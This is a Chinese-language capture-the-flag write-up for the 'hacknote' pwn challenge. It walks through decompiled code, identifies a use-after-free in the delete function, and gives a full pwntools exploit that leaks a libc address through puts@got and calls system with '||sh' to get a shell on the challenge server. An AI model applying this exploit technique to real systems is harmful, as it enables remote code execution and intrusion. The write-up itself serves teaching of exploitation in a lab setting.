前言
攻防世界的一道pwn, UAF漏洞
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4717&page=2
分析过程
void __cdecl __noreturn main()
{
int v0; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4u);
v0 = atoi(buf);
if ( v0 != 2 )
break;
delete();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
print();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
add();
}
}
}
先看add函数, 读入size大小的字符串保存在全局数组ptr中, 并且ptr+i
是指向函数puts的指针, 之后跟着保存字符串的chunk
unsigned int add()
{
int v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( cnt <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(8u);
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + i) = func_puts;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&ptr + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(&ptr + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + i) + 1), size);
puts("Success !");
++cnt;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
再看print函数, 用puts打印字符串, 这里可能看起来很迷惑, 其实就是用ptr + i指向函数的指针调用函数, 然后这个函数是从传入进来的参数的 + 4地址处开始打印字符串, 所以就等效于puts((&ptr + i) + 4)
unsigned int print()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= cnt )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
(*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));
return __readgsdword(0x14u) ^ v3;
}
最后看delete函数, 这里出现了UAF漏洞, free堆块后没有将指针清零
unsigned int delete()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= cnt )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
{
free(*(*(&ptr + v1) + 1));
free(*(&ptr + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
漏洞利用
UAF漏洞, 先申请两个0x20的chunk, 加上默认申请的0x8, 一共4个chunk, 然后释放
申请一个0x8的chunk, 保存0x0804862b, puts@got
, 打印(相当于调用puts@plt(puts@got)
)即可泄露puts地址, 计算出system地址, 同理操作传入system_addr, "||sh"
即可get shell; 这里的数据结构, 逆向分析add函数可以发现, malloc出来的8字节, 前4字节用于保存函数指针, 后4字节保存字符串指针, 所以释放后打印是行得通的
*(&ptr + i) = malloc(8u);
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
**(&ptr + i) = func_puts;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = *(&ptr + i);
*(v0 + 4) = malloc(size);
完整exp
from pwn import *
url, port = "111.200.241.244", 61621
filename = "./hacknote"
elf = ELF(filename)
# context(arch="amd32", os="linux")
context(arch="i386", os="linux")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
context.terminal = ['tmux', 'splitw', '-h']
libc = elf.libc
# gdb.attach(io)
else:
libc = ELF("./libc_32.so.6")
io = remote(url, port)
def BK():
gdb.attach(io) # "b *" + str(hex(addr))
def Add(size,content):
io.sendlineafter('Your choice :','1')
io.sendlineafter('Note size :',str(size))
io.sendlineafter('Content :',content)
def Print(index):
io.sendlineafter('Your choice :','3')
io.sendlineafter('Index :',str(index))
def Del(index):
io.sendlineafter('Your choice :','2')
io.sendlineafter('Index :',str(index))
def pwn():
Add(0x20, "zzzz")
Add(0x20, "zzzz")
Del(0)
Del(1)
puts_func_addr = 0x804862B
puts_got = elf.got['puts']
payload = p32(puts_func_addr) + p32(puts_got)
Add(0x8, payload)
Print(0)
libc_base = u32(io.recv(4)) - libc.sym['puts']
Del(2)
system_addr = libc_base + libc.sym["system"]
payload = p32(system_addr) + b"||sh"
Add(0x8, payload)
Print(0)
io.interactive()
if __name__ == '__main__':
pwn()
总结
因为没有在free之后清零指针, 所以notes[0]和notes[1]的指针可以重复利用, 然后根据chunk大小巧妙构造新的chunk2, chunk3, 就可以控制notes[0], notes[1]的内容, 调用print(0)/print(1)即可实现特定函数调用.
卡点
(1) 这里写入的函数需要用程序实现的打印函数sub_0804862b
因为参数会在打印前+4, 这样才是打印puts@got
(2) 想当然以为申请chunk3时, 两个chunk会颠倒顺序, 其实认真分析会知道, chunk3和chunk2结构是相同的, 都是用chunk0保存payload, 所以两次调用函数都是Print(0)